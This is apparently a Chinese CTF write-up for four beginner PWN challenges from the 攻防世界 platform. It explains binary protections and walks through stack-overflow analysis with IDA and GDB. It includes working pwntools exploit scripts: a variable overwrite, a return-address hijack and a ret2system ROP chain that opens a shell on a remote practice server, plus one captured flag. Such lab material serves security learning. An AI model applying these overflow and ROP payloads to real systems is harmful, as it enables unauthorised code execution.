攻防世界PWN-新手练习区

本文最后更新于:2021-11-26 下午

get_shell

查看文件,看到是64位文件,通过checksec可以查看保护的机制。

保护机制

保护机制这稍微介绍下

RELRO

主要是用来保护重定位段对应数据区域,默认可写

Partial RELRO表示got表不可写,got.plt可写

Full RELRO表示got表,got.plt不可写

Stack

这主要是栈保护,canary意思是金丝雀,是栈保护,方式是在靠近栈底某个位置设置初值,防止栈溢出的一种保护。

NX

数据执行保护,在windows上是DEP技术,基本原理是将数据所在的内存页表示为不可执行。

PIE

PIE保护就是基址随机化,每次加载时都会改变加载的基地址。

详细分析

使用IDA打开,可以看到程序的流程,运行输出一串字符串之后就会调用system("/bin/sh"),会获得shell,不需要任何操作,只需要连接到远程主机就行了。

EXP

1
2
3
from pwn import *
r = remote("111.200.241.244","59759")
r.interactive()

也可以直接nc到远程主机执行命令

cyberpeace{73b5fb2b3e5ef899ac9fe442ba8a3db6}

hello_pwn

查看文件,可以看到是64位文件,只开启了NX保护,其他没有开启。

详细分析

使用IDA打开分析,主要是要执行sub_400686函数,里面会查看flag,而进入此函数的要求就是dword_60106C == 0x6E756161,再看前面的read函数,读取了十个字节的数据,读取到unk_601068,而dword_60106C离它就差4个字节,也就是read读取的数据可以溢出到dword_60106C

使用GDB调试看看

main函数下断,调试到read处,然后输入12345678,再查看内存地址处的值来看下。看到0x601068处存放的是1234(ascii码,小端序),再看0x60106c处看到是5678,也就是输入的八个字符后四位成功溢出到了目标地址,现在只要这里等于0x6E756161就可以了。

EXP

1
2
3
4
5
6
from pwn import *
r = remote("111.200.241.244","63359")
payload="a"*4 + p64(0x6E756161)
r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
print(r.recv())

level0

64位的文件,只开启了NX。

详细分析

使用IDA打开看main函数,看到vulnerable_function函数。

进入函数查看可以看到存在一个栈溢出,buf长度为128,read函数读取0x200。

现在找一下返回值覆盖的地方应该是什么,在函数中看到存在一个callsystem函数,查看可以看到可以获取shell,覆盖的返回地址为callsystem地址即可

使用GDB调试一下,看看具体的栈空间变化,首先我们要清楚,在栈里,以这个为例子,栈底之前是缓冲区,栈底(RBP)是一个,栈底(RBP+8)再下面一个才是返回值地址,所以要覆盖返回地址的话,需要构造一共144个字符。

输入128个“a”,再输入一个“12345678”,再输入8个”c“,来查看下空间,看到当前RBP已经被12345678覆盖了,再往后一个地址是8个c。

执行到ret看下,看到返回地址是cccccccc

EXP

1
2
3
4
5
6
7
from pwn import *
r = remote("111.200.241.244","59478")
addr = 0x400596
payload = "a"*0x88 + p64(addr)
r.recvuntil("Hello, World\n")
r.send(payload)
r.interactive()

level2

32位的文件,保护只开启了NX

根据题目的提示,简单的ROP,就是需要用到ROP技术,ROP就是Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过一些防御措施(比如内存不可执行)。我们可以使用libc库的函数,system,将函数返回地址指向system的地址。构造这样的

1
system("/bin/sh")

详细分析

主函数的流程很简单,看下vulnerable_function函数

看到有read函数,可以读取0x100字节的数据,存在栈溢出,现在只需要覆盖返回地址覆盖到system函数地址,还需要构造”/bin/sh”

在程序中已经存在了我们需要的两个东西。

现在再来复习一下关于调用函数的时候栈的空间,调用函数的时候,栈的情况,首先是返回地址,然后是参数,依次参数n、参数n-1、参数n-2……参数1。

如图,此时只有一个参数

EXP

1
2
3
4
5
6
7
8
from pwn import *
r = remote("111.200.241.244","50332")
payload = "a"*140 #覆盖buf加ebp
payload += p32(0x8048320) #覆盖返回地址
payload += "b"*4 #system的返回地址
payload += p32(0x804A024) #/bin/sh的地址
r.sendline(payload)
r.interactive()


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!